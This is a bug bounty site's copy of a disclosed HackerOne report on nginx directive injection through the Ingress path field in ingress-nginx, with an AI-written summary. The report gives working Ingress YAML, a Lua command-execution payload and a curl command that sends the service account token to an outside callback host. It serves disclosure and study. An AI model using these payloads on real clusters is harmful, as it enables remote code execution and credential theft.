Skip to content
RCE Disclosed report Advanced CVE-2021-25748

Injection in path parameter of Ingress-nginx

The ingress-nginx controller allowed arbitrary nginx directives to be injected through the path parameter of an Ingress resource. An attacker with permission to create or modify ingresses in a multi-tenant cluster could upload a malicious configuration and execute commands, reading arbitrary files including the service account token.

fisjkars Follow with cousky

Originally disclosed on HackerOne

High 8.8 View original
  • Triaged in 17 months
  • Fixed in 17 months
  • Paid in 17 months
  • Disclosed after 18 months

The objective of an Ingress Controller is to act as a gatekeeper for all incoming traffic to a Kubernetes cluster. It is responsible for routing and managing traffic coming into the cluster from external sources, allowing for efficient and secure communication between the cluster and the outside world.

An attacker in a multi-tenant cluster with permission to create/modify ingresses can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account).

The path parameter allows users to specify which HTTP path of the given host should be redirected to the ingress's defined backend, as the path parameter is permissive, it is possible to inject arbitrary nginx directives when creating a new ingress.

As a few restrictions are in place due to one of the mitigations of CVE-2021-25748 in the corresponding inspector for ingresses, it is not possible to execute code trivially by using the by_lua functions, to circumvent this protection we can proceed using a two-stages exploit :

  • We first create an ingress abusing the nginx directive client_body_in_file_only in order to upload the body of an HTTP POST request to the ingress's filesystem.
  • We send an HTTP POST request to this ingress, with an nginx configuration using the set_by_lua_block directive
  • Then we create a second ingress that will include this uploaded file
  • Finally, we send a last request to abuse the included configuration and execute code on the ingress controller

Stage one, ingress allowing file upload to /tmp/nginx/f292392 :

YAML
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
  name: f292392-research
  namespace: default
spec:
  rules:
  - host: f292392.com
    http:
      paths:
      - backend:
          service:
            name: legitimate-service
            port:
              number: 80
        path: |-
          /f292392body/ {
          limit_except POST              { deny all; }
          client_body_temp_path          /tmp/nginx/f292392;
          client_body_in_file_only       on;
          client_body_buffer_size        128K;
          #
        pathType: Prefix

We then send a POST request to the ingress that will upload a malicious nginx configuration to the ingress controller (you should replace the IP address with your own ingress controller's IP) :

Shell
curl http://f292392.com/f292392body/ --resolve f292392.com:80:4.178.145.81 -k -vv --data-binary '@./exploit.txt'

Where exploit.txt is our malicious configuration :

set_by_lua_block $my_var { 
            local rsfile = io.popen(ngx.req.get_headers()["pathinjection"]);
            local rschar = rsfile:read("*all");ngx.say(rschar); 
            return rschar;
} 
proxy_set_header X-My-Var $my_var;

Now that the file is uploaded, we can create a new ingress that imports it (since we cannot be sure what the exact filename will be, we can use a wildcard character to include this configuration, as we should be the only having queried this ingress :

YAML
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
  name: f292392-research
  namespace: default
spec:
  rules:
  - host: f292392.com
    http:
      paths:
      - backend:
          service:
            name: legitimate-service
            port:
              number: 80
        path: |-
          /rcewithhost/ {
          include /tmp/nginx/f292392/*;
  
          #
        pathType: Prefix

Using the set_by_lua_block directive we set the $my_var variable to the output of the shell command found in the pathinjection header, this var is then set as the X-My-Var header.

With the following curl command, we can now retrieve the serviceaccount's token :

curl http://f292392.com/rcewithhost/ --resolve f292392.com:80:4.178.145.81 -k -H "pathinjection: curl -F 'file=@/var/run/secrets/kubernetes.io/serviceaccount/token' http://hdyy6lwp6kifbu1cv7euclvuyl4cs3gs.oastify.com.oastify.com"
image.png
image.png From the original on HackerOne

We now get an HTTP request with the content of the token :

image.png
image.png From the original on HackerOne

Here the content of nginx.conf and the uploaded file after the exploit :

image.png
image.png From the original on HackerOne
image.png
image.png

Impact

An attacker in a multi-tenant cluster with permission to create/modify ingresses can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account).

The original report as published on HackerOne, by fisjkars. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ingress-nginx controller did not properly sanitise the path field before inserting it into the generated nginx configuration, allowing directive injection.

Impact

An attacker with permission to create or modify ingresses in a multi-tenant cluster could execute commands on the ingress controller and read arbitrary files, including the service account token.

What the attacker needed

Permission to create or modify ingresses; multi-tenant Kubernetes cluster

How it was found

  1. Create an Ingress whose path contains nginx directives that make the controller save POST request bodies to a file.
  2. Send a POST request to that Ingress with a body containing a malicious nginx configuration.
  3. Create a second Ingress whose path includes the uploaded file.
  4. Send a request to the second Ingress to trigger the included configuration and execute commands.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An Ingress is a Kubernetes object that tells the cluster how to route incoming web traffic. The ingress-nginx controller turns those objects into nginx configuration, and it failed to stop users from slipping extra nginx instructions into the path field. Someone who could create an Ingress could therefore make the controller run their own commands and steal sensitive files.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by fisjkars

View all

1 more disclosed report, best first.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.